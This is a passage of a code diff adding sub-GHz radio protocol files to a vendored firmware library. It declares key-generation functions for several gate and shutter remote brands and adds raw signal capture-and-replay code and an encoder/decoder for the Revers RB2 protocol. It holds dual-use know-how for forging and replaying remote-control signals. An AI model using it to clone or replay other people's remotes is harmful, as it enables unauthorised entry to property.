+ * @param nice_one Nice One if true, Nice Flor S if false
+ * @return true On success
+ */
+bool subghz_protocol_nice_flor_s_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset,
+    bool nice_one);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 24 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_somfy_telis_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyKeytis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 24 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_somfy_keytis_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderKingGates_stylo_4k instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 24 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_kinggates_stylo_4k_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 32 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 32 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_beninca_arc_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderJarolift instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number, 24 bit
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_jarolift_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Key generation from simple data.
+ * @param context Pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param serial Serial number
+ * @param btn Button number, 8 bit
+ * @param cnt Counter value, 16 bit
+ * @param preset Modulation, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_ditec_gol4_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset);
+
+typedef struct SubGhzProtocolDecoderBinRAW SubGhzProtocolDecoderBinRAW;
+
+void subghz_protocol_decoder_bin_raw_data_input_rssi(
+    SubGhzProtocolDecoderBinRAW* instance,
+    float rssi);
+
+/**
+ * Validation of fixed parts SubGhzProtocolDecoderSecPlus_v1.
+ * @param fixed fixed parts
+ * @return true On success
+ */
+bool subghz_protocol_secplus_v1_check_fixed(uint32_t fixed);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c
new file mode 100644
index 000000000..326576bde
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c
@@ -0,0 +1,409 @@
+#include "raw.h"
+#include <lib/flipper_format/flipper_format.h>
+#include "../subghz_file_encoder_worker.h"
+
+#include "../blocks/const.h"
+#include "../blocks/generic.h"
+
+#include <flipper_format/flipper_format_i.h>
+#include <lib/toolbox/stream/stream.h>
+
+#define TAG "SubGhzProtocolRaw"
+
+#define SUBGHZ_DOWNLOAD_MAX_SIZE 512
+
+static const SubGhzBlockConst subghz_protocol_raw_const = {
+    .te_short = 50,
+    .te_long = 32700,
+    .te_delta = 0,
+    .min_count_bit_for_found = 0,
+};
+
+struct SubGhzProtocolDecoderRAW {
+    SubGhzProtocolDecoderBase base;
+
+    int32_t* upload_raw;
+    uint16_t ind_write;
+    Storage* storage;
+    FlipperFormat* flipper_file;
+    uint32_t file_is_open;
+    FuriString* file_name;
+    size_t sample_write;
+    bool last_level;
+    bool pause;
+};
+
+struct SubGhzProtocolEncoderRAW {
+    SubGhzProtocolEncoderBase base;
+
+    bool is_running;
+    FuriString* file_name;
+    FuriString* radio_device_name;
+    SubGhzFileEncoderWorker* file_worker_encoder;
+};
+
+typedef enum {
+    RAWFileIsOpenClose = 0,
+    RAWFileIsOpenWrite,
+    RAWFileIsOpenRead,
+} RAWFilIsOpen;
+
+const SubGhzProtocolDecoder subghz_protocol_raw_decoder = {
+    .alloc = subghz_protocol_decoder_raw_alloc,
+    .free = subghz_protocol_decoder_raw_free,
+
+    .feed = subghz_protocol_decoder_raw_feed,
+    .reset = subghz_protocol_decoder_raw_reset,
+
+    .get_hash_data = NULL,
+    .serialize = NULL,
+    .deserialize = subghz_protocol_decoder_raw_deserialize,
+    .get_string = subghz_protocol_decoder_raw_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_raw_encoder = {
+    .alloc = subghz_protocol_encoder_raw_alloc,
+    .free = subghz_protocol_encoder_raw_free,
+
+    .deserialize = subghz_protocol_encoder_raw_deserialize,
+    .stop = subghz_protocol_encoder_raw_stop,
+    .yield = subghz_protocol_encoder_raw_yield,
+};
+
+const SubGhzProtocol subghz_protocol_raw = {
+    .name = SUBGHZ_PROTOCOL_RAW_NAME,
+    .type = SubGhzProtocolTypeRAW,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_RAW |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_raw_decoder,
+    .encoder = &subghz_protocol_raw_encoder,
+};
+
+bool subghz_protocol_raw_save_to_file_init(
+    SubGhzProtocolDecoderRAW* instance,
+    const char* dev_name,
+    SubGhzRadioPreset* preset) {
+    furi_check(instance);
+
+    instance->storage = furi_record_open(RECORD_STORAGE);
+    instance->flipper_file = flipper_format_file_alloc(instance->storage);
+
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    bool init = false;
+
+    do {
+        // Create subghz folder directory if necessary
+        if(!storage_simply_mkdir(instance->storage, SUBGHZ_RAW_FOLDER)) {
+            break;
+        }
+        // Create saved directory if necessary
+        if(!storage_simply_mkdir(instance->storage, SUBGHZ_RAW_FOLDER)) {
+            break;
+        }
+
+        furi_string_set(instance->file_name, dev_name);
+        // First remove subghz device file if it was saved
+        furi_string_printf(
+            temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, dev_name, SUBGHZ_APP_FILENAME_EXTENSION);
+
+        if(!storage_simply_remove(instance->storage, furi_string_get_cstr(temp_str))) {
+            break;
+        }
+
+        // Open file
+        if(!flipper_format_file_open_always(
+               instance->flipper_file, furi_string_get_cstr(temp_str))) {
+            FURI_LOG_E(TAG, "Unable to open file for write: %s", furi_string_get_cstr(temp_str));
+            break;
+        }
+
+        if(!flipper_format_write_header_cstr(
+               instance->flipper_file, SUBGHZ_RAW_FILE_TYPE, SUBGHZ_RAW_FILE_VERSION)) {
+            FURI_LOG_E(TAG, "Unable to add header");
+            break;
+        }
+
+        if(!flipper_format_write_uint32(
+               instance->flipper_file, "Frequency", &preset->frequency, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Frequency");
+            break;
+        }
+
+        subghz_block_generic_get_preset_name(furi_string_get_cstr(preset->name), temp_str);
+        if(!flipper_format_write_string_cstr(
+               instance->flipper_file, "Preset", furi_string_get_cstr(temp_str))) {
+            FURI_LOG_E(TAG, "Unable to add Preset");
+            break;
+        }
+        if(!strcmp(furi_string_get_cstr(temp_str), "FuriHalSubGhzPresetCustom")) {
+            if(!flipper_format_write_string_cstr(
+                   instance->flipper_file, "Custom_preset_module", "CC1101")) {
+                FURI_LOG_E(TAG, "Unable to add Custom_preset_module");
+                break;
+            }
+            if(!flipper_format_write_hex(
+                   instance->flipper_file, "Custom_preset_data", preset->data, preset->data_size)) {
+                FURI_LOG_E(TAG, "Unable to add Custom_preset_data");
+                break;
+            }
+        }
+        if(!flipper_format_write_string_cstr(
+               instance->flipper_file, "Protocol", instance->base.protocol->name)) {
+            FURI_LOG_E(TAG, "Unable to add Protocol");
+            break;
+        }
+
+        instance->upload_raw = malloc(SUBGHZ_DOWNLOAD_MAX_SIZE * sizeof(int32_t));
+        instance->file_is_open = RAWFileIsOpenWrite;
+        instance->sample_write = 0;
+        instance->last_level = false;
+        instance->pause = false;
+        init = true;
+    } while(0);
+
+    furi_string_free(temp_str);
+
+    return init;
+}
+
+static bool subghz_protocol_raw_save_to_file_write(SubGhzProtocolDecoderRAW* instance) {
+    furi_assert(instance);
+
+    bool is_write = false;
+    if(instance->file_is_open == RAWFileIsOpenWrite) {
+        if(!flipper_format_write_int32(
+               instance->flipper_file, "RAW_Data", instance->upload_raw, instance->ind_write)) {
+            FURI_LOG_E(TAG, "Unable to add RAW_Data");
+        } else {
+            instance->sample_write += instance->ind_write;
+            instance->ind_write = 0;
+            is_write = true;
+        }
+    }
+    return is_write;
+}
+
+void subghz_protocol_raw_save_to_file_stop(SubGhzProtocolDecoderRAW* instance) {
+    furi_check(instance);
+
+    if(instance->file_is_open == RAWFileIsOpenWrite && instance->ind_write)
+        subghz_protocol_raw_save_to_file_write(instance);
+    if(instance->file_is_open != RAWFileIsOpenClose) {
+        free(instance->upload_raw);
+        instance->upload_raw = NULL;
+        flipper_format_file_close(instance->flipper_file);
+        flipper_format_free(instance->flipper_file);
+        furi_record_close(RECORD_STORAGE);
+    }
+
+    instance->file_is_open = RAWFileIsOpenClose;
+}
+
+void subghz_protocol_raw_save_to_file_pause(SubGhzProtocolDecoderRAW* instance, bool pause) {
+    furi_check(instance);
+
+    if(instance->pause != pause) {
+        instance->pause = pause;
+    }
+}
+
+size_t subghz_protocol_raw_get_sample_write(SubGhzProtocolDecoderRAW* instance) {
+    furi_check(instance);
+    return instance->sample_write + instance->ind_write;
+}
+
+void* subghz_protocol_decoder_raw_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderRAW* instance = malloc(sizeof(SubGhzProtocolDecoderRAW));
+    instance->base.protocol = &subghz_protocol_raw;
+    instance->upload_raw = NULL;
+    instance->ind_write = 0;
+    instance->last_level = false;
+    instance->file_is_open = RAWFileIsOpenClose;
+    instance->file_name = furi_string_alloc();
+
+    return instance;
+}
+
+void subghz_protocol_decoder_raw_free(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderRAW* instance = context;
+    furi_string_free(instance->file_name);
+    free(instance);
+}
+
+void subghz_protocol_decoder_raw_reset(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderRAW* instance = context;
+    instance->ind_write = 0;
+    instance->last_level = false;
+}
+
+void subghz_protocol_decoder_raw_feed(void* context, bool level, uint32_t duration) {
+    furi_check(context);
+    SubGhzProtocolDecoderRAW* instance = context;
+    // Add check if we got duration higher than 1 second, we skipping it, temp fix
+    if((!instance->pause && (instance->upload_raw != NULL)) && (duration < ((uint32_t)1000000))) {
+        if(duration > subghz_protocol_raw_const.te_short) {
+            if(instance->last_level != level) {
+                instance->last_level = (level ? true : false);
+                instance->upload_raw[instance->ind_write++] = (level ? duration : -duration);
+            }
+        }
+
+        if(instance->ind_write == SUBGHZ_DOWNLOAD_MAX_SIZE) {
+            subghz_protocol_raw_save_to_file_write(instance);
+        }
+    }
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_raw_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_check(context);
+    UNUSED(context);
+    UNUSED(flipper_format);
+    // stub, for backwards compatibility
+    return SubGhzProtocolStatusOk;
+}
+
+void subghz_protocol_decoder_raw_get_string(void* context, FuriString* output) {
+    furi_check(context);
+    //SubGhzProtocolDecoderRAW* instance = context;
+    UNUSED(context);
+    furi_string_cat_printf(output, "RAW Data");
+}
+
+void* subghz_protocol_encoder_raw_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderRAW* instance = malloc(sizeof(SubGhzProtocolEncoderRAW));
+
+    instance->base.protocol = &subghz_protocol_raw;
+    instance->file_name = furi_string_alloc();
+    instance->radio_device_name = furi_string_alloc();
+    instance->is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_raw_stop(void* context) {
+    furi_check(context);
+    SubGhzProtocolEncoderRAW* instance = context;
+    instance->is_running = false;
+    if(instance->file_worker_encoder &&
+       subghz_file_encoder_worker_is_running(instance->file_worker_encoder)) {
+        subghz_file_encoder_worker_stop(instance->file_worker_encoder);
+        subghz_file_encoder_worker_free(instance->file_worker_encoder);
+        instance->file_worker_encoder = NULL;
+    }
+}
+
+void subghz_protocol_encoder_raw_free(void* context) {
+    furi_check(context);
+    SubGhzProtocolEncoderRAW* instance = context;
+    subghz_protocol_encoder_raw_stop(instance);
+    furi_string_free(instance->file_name);
+    furi_string_free(instance->radio_device_name);
+    free(instance);
+}
+
+void subghz_protocol_raw_file_encoder_worker_set_callback_end(
+    SubGhzProtocolEncoderRAW* instance,
+    SubGhzProtocolEncoderRAWCallbackEnd callback_end,
+    void* context_end) {
+    furi_check(instance);
+    furi_check(callback_end);
+    subghz_file_encoder_worker_callback_end(
+        instance->file_worker_encoder, callback_end, context_end);
+}
+
+static bool subghz_protocol_encoder_raw_worker_init(SubGhzProtocolEncoderRAW* instance) {
+    furi_assert(instance);
+    furi_check(!instance->file_worker_encoder);
+
+    instance->file_worker_encoder = subghz_file_encoder_worker_alloc();
+    if(subghz_file_encoder_worker_start(
+           instance->file_worker_encoder,
+           furi_string_get_cstr(instance->file_name),
+           furi_string_get_cstr(instance->radio_device_name))) {
+        //the worker needs a file in order to open and read part of the file
+        furi_delay_ms(100);
+        instance->is_running = true;
+    } else {
+        subghz_protocol_encoder_raw_stop(instance);
+    }
+    return instance->is_running;
+}
+
+void subghz_protocol_raw_gen_fff_data(
+    FlipperFormat* flipper_format,
+    const char* file_path,
+    const char* radio_device_name) {
+    furi_check(flipper_format);
+
+    do {
+        stream_clean(flipper_format_get_raw_stream(flipper_format));
+        if(!flipper_format_write_string_cstr(flipper_format, "Protocol", "RAW")) {
+            FURI_LOG_E(TAG, "Unable to add Protocol");
+            break;
+        }
+
+        if(!flipper_format_write_string_cstr(flipper_format, "File_name", file_path)) {
+            FURI_LOG_E(TAG, "Unable to add File_name");
+            break;
+        }
+
+        if(!flipper_format_write_string_cstr(
+               flipper_format, "Radio_device_name", radio_device_name)) {
+            FURI_LOG_E(TAG, "Unable to add Radio_device_name");
+            break;
+        }
+    } while(false);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_raw_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_check(context);
+    SubGhzProtocolEncoderRAW* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    do {
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+
+        if(!flipper_format_read_string(flipper_format, "File_name", temp_str)) {
+            FURI_LOG_E(TAG, "Missing File_name");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        furi_string_set(instance->file_name, temp_str);
+
+        if(!flipper_format_read_string(flipper_format, "Radio_device_name", temp_str)) {
+            FURI_LOG_E(TAG, "Missing Radio_device_name");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        furi_string_set(instance->radio_device_name, temp_str);
+
+        if(!subghz_protocol_encoder_raw_worker_init(instance)) {
+            res = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+    furi_string_free(temp_str);
+    return res;
+}
+
+LevelDuration subghz_protocol_encoder_raw_yield(void* context) {
+    furi_check(context);
+    SubGhzProtocolEncoderRAW* instance = context;
+
+    if(!instance->is_running) return level_duration_reset();
+    return subghz_file_encoder_worker_get_level_duration(instance->file_worker_encoder);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.h
new file mode 100644
index 000000000..6d791bb36
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.h
@@ -0,0 +1,154 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_RAW_NAME "RAW"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void (*SubGhzProtocolEncoderRAWCallbackEnd)(void* context);
+
+typedef struct SubGhzProtocolDecoderRAW SubGhzProtocolDecoderRAW;
+typedef struct SubGhzProtocolEncoderRAW SubGhzProtocolEncoderRAW;
+
+extern const SubGhzProtocolDecoder subghz_protocol_raw_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_raw_encoder;
+extern const SubGhzProtocol subghz_protocol_raw;
+
+/**
+ * Open file for writing
+ * @param instance Pointer to a SubGhzProtocolDecoderRAW instance
+ * @param dev_name  File name
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return true On success
+ */
+bool subghz_protocol_raw_save_to_file_init(
+    SubGhzProtocolDecoderRAW* instance,
+    const char* dev_name,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Stop writing file to flash
+ * @param instance Pointer to a SubGhzProtocolDecoderRAW instance
+ */
+void subghz_protocol_raw_save_to_file_stop(SubGhzProtocolDecoderRAW* instance);
+
+/**
+ * Get the number of samples received SubGhzProtocolDecoderRAW.
+ * @param instance Pointer to a SubGhzProtocolDecoderRAW instance
+ * @return count of samples
+ */
+size_t subghz_protocol_raw_get_sample_write(SubGhzProtocolDecoderRAW* instance);
+
+/**
+ * Allocate SubGhzProtocolDecoderRAW.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderRAW* pointer to a SubGhzProtocolDecoderRAW instance
+ */
+void* subghz_protocol_decoder_raw_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderRAW instance
+ */
+void subghz_protocol_decoder_raw_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderRAW instance
+ */
+void subghz_protocol_decoder_raw_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderRAW instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_raw_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_raw_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderRAW instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_raw_get_string(void* context, FuriString* output);
+
+/**
+ * Allocate SubGhzProtocolEncoderRAW.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderRAW* pointer to a SubGhzProtocolEncoderRAW instance
+ */
+void* subghz_protocol_encoder_raw_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderRAW.
+ * @param context Pointer to a SubGhzProtocolEncoderRAW instance
+ */
+void subghz_protocol_encoder_raw_free(void* context);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderRAW instance
+ */
+void subghz_protocol_encoder_raw_stop(void* context);
+
+/**
+ * pause writing to flash.
+ * @param context Pointer to a SubGhzProtocolEncoderRAW instance
+ * @param pause pause writing
+ */
+void subghz_protocol_raw_save_to_file_pause(SubGhzProtocolDecoderRAW* instance, bool pause);
+
+/**
+ * Set callback on completion of file transfer.
+ * @param instance Pointer to a SubGhzProtocolEncoderRAW instance
+ * @param callback_end Callback, SubGhzProtocolEncoderRAWCallbackEnd
+ * @param context_end Context
+ */
+void subghz_protocol_raw_file_encoder_worker_set_callback_end(
+    SubGhzProtocolEncoderRAW* instance,
+    SubGhzProtocolEncoderRAWCallbackEnd callback_end,
+    void* context_end);
+
+/**
+ * File generation for RAW work.
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param file_path File path
+ * @param radio_dev_name Radio device name
+ */
+void subghz_protocol_raw_gen_fff_data(
+    FlipperFormat* flipper_format,
+    const char* file_path,
+    const char* radio_dev_name);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_raw_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderRAW instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_raw_yield(void* context);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.c
new file mode 100644
index 000000000..af063051b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.c
@@ -0,0 +1,411 @@
+#include "revers_rb2.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolRevers_RB2"
+
+static const SubGhzBlockConst subghz_protocol_revers_rb2_const = {
+    .te_short = 250,
+    .te_long = 500,
+    .te_delta = 160,
+    .min_count_bit_for_found = 64,
+};
+
+struct SubGhzProtocolDecoderRevers_RB2 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    ManchesterState manchester_saved_state;
+    uint16_t header_count;
+};
+
+struct SubGhzProtocolEncoderRevers_RB2 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Revers_RB2DecoderStepReset = 0,
+    Revers_RB2DecoderStepHeader,
+    Revers_RB2DecoderStepDecoderData,
+} Revers_RB2DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_revers_rb2_decoder = {
+    .alloc = subghz_protocol_decoder_revers_rb2_alloc,
+    .free = subghz_protocol_decoder_revers_rb2_free,
+
+    .feed = subghz_protocol_decoder_revers_rb2_feed,
+    .reset = subghz_protocol_decoder_revers_rb2_reset,
+
+    .get_hash_data = subghz_protocol_decoder_revers_rb2_get_hash_data,
+    .serialize = subghz_protocol_decoder_revers_rb2_serialize,
+    .deserialize = subghz_protocol_decoder_revers_rb2_deserialize,
+    .get_string = subghz_protocol_decoder_revers_rb2_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_revers_rb2_encoder = {
+    .alloc = subghz_protocol_encoder_revers_rb2_alloc,
+    .free = subghz_protocol_encoder_revers_rb2_free,
+
+    .deserialize = subghz_protocol_encoder_revers_rb2_deserialize,
+    .stop = subghz_protocol_encoder_revers_rb2_stop,
+    .yield = subghz_protocol_encoder_revers_rb2_yield,
+};
+
+const SubGhzProtocol subghz_protocol_revers_rb2 = {
+    .name = SUBGHZ_PROTOCOL_REVERSRB2_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_ReversRB2,
+
+    .decoder = &subghz_protocol_revers_rb2_decoder,
+    .encoder = &subghz_protocol_revers_rb2_encoder,
+};
+
+void* subghz_protocol_encoder_revers_rb2_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderRevers_RB2* instance = malloc(sizeof(SubGhzProtocolEncoderRevers_RB2));
+
+    instance->base.protocol = &subghz_protocol_revers_rb2;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_revers_rb2_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderRevers_RB2* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_revers_rb2_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_revers_rb2_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_revers_rb2_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_revers_rb2_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_revers_rb2_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderRevers_RB2 instance
+ */
+static void
+    subghz_protocol_encoder_revers_rb2_get_upload(SubGhzProtocolEncoderRevers_RB2* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(!manchester_encoder_advance(
+               &enc_state, bit_read(instance->generic.data, i - 1), &result)) {
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_revers_rb2_add_duration_to_upload(result);
+            manchester_encoder_advance(
+                &enc_state, bit_read(instance->generic.data, i - 1), &result);
+        }
+        instance->encoder.upload[index++] =
+            subghz_protocol_encoder_revers_rb2_add_duration_to_upload(result);
+    }
+    instance->encoder.upload[index] = subghz_protocol_encoder_revers_rb2_add_duration_to_upload(
+        manchester_encoder_finish(&enc_state));
+    if(level_duration_get_level(instance->encoder.upload[index])) {
+        index++;
+    }
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)320);
+    instance->encoder.size_upload = index;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_revers_rb2_remote_controller(SubGhzBlockGeneric* instance) {
+    // Revers RB2 / RB2M Decoder
+    // 02.2025 - @xMasterX (MMX)
+    instance->serial = (((instance->data << 16) >> 16) >> 10);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_revers_rb2_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderRevers_RB2* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_revers_rb2_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_revers_rb2_remote_controller(&instance->generic);
+        subghz_protocol_encoder_revers_rb2_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_revers_rb2_stop(void* context) {
+    SubGhzProtocolEncoderRevers_RB2* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_revers_rb2_yield(void* context) {
+    SubGhzProtocolEncoderRevers_RB2* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
